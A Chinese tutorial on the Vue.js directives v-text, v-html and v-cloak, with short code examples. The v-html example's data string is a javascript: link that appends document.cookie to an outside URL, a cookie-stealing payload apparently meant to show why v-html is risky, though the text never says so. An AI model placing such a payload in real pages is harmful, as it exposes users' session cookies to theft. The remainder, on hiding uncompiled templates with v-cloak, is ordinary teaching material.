[JavaScript知识库]v-text、v-html、v-cloak指令

v-text指令

v-text能直接替换掉 div的内容，不够灵活。如果采用插值表达式即可你随意拼接字符串 。但是v-text不认字符串里的HTML代码。

v-html指令

v-html支持结构的解析，可以将HTML标签展示出来。

	<div id="root">
        <div v-text="userName" v-cloak></div>
        <div v-html="str"></div>
    </div>
    <script src="./vue.js"></script>
    <script>
        const vm = new Vue({
            el:'#root',
            data:{
                userName : "hello",
                str:"<a href=javascript:location.href='http://www.baidu.com/'+document.cookie>兄弟我找到你了</a>",
            }
        })
    </script>

v-html与v-text效果如下：

v-cloak指令

v-cloak指令（没有值）：

1. 本质是一个特殊属性容器，Vue实例创建完毕并接管容器的时候，就会删掉v-cloak属性。
2. 使用css配合v-cloak属性可以解决网速慢时候，在页面展现的{{tittle}} 问题
   当此时网络非常差的时候，用户看到的界面是插值表达式，这样用户的体验是很不友好的。vue代码在介入前，模板内容没有被成功渲染。解决办法是用v-cloak指令

	<style>
        [v-cloak]{
            display: none;
        }
    </style>
    <div id="root">
        <div v-cloak v-html="name"></div>
    </div>
    <script src="./vue.js"></script>
    <script>
        const vm = new Vue({
            el:"#root",
            data:{
                name:"黑崎一护"
            }
        })
    </script>

当我们的网速非常慢的时候，或者我们vue是cdn的资源，此时vue代码慢于HTML代码，因此用户会看到{{name}} 插值表达式，但是我们加入了v-cloak属性。如果vue还没接管HTML代码，那么这个div就会消失。当网速恢复的时候，或者我们改用了本地vue代码，那么通过css代码就会将v-cloak属性移除。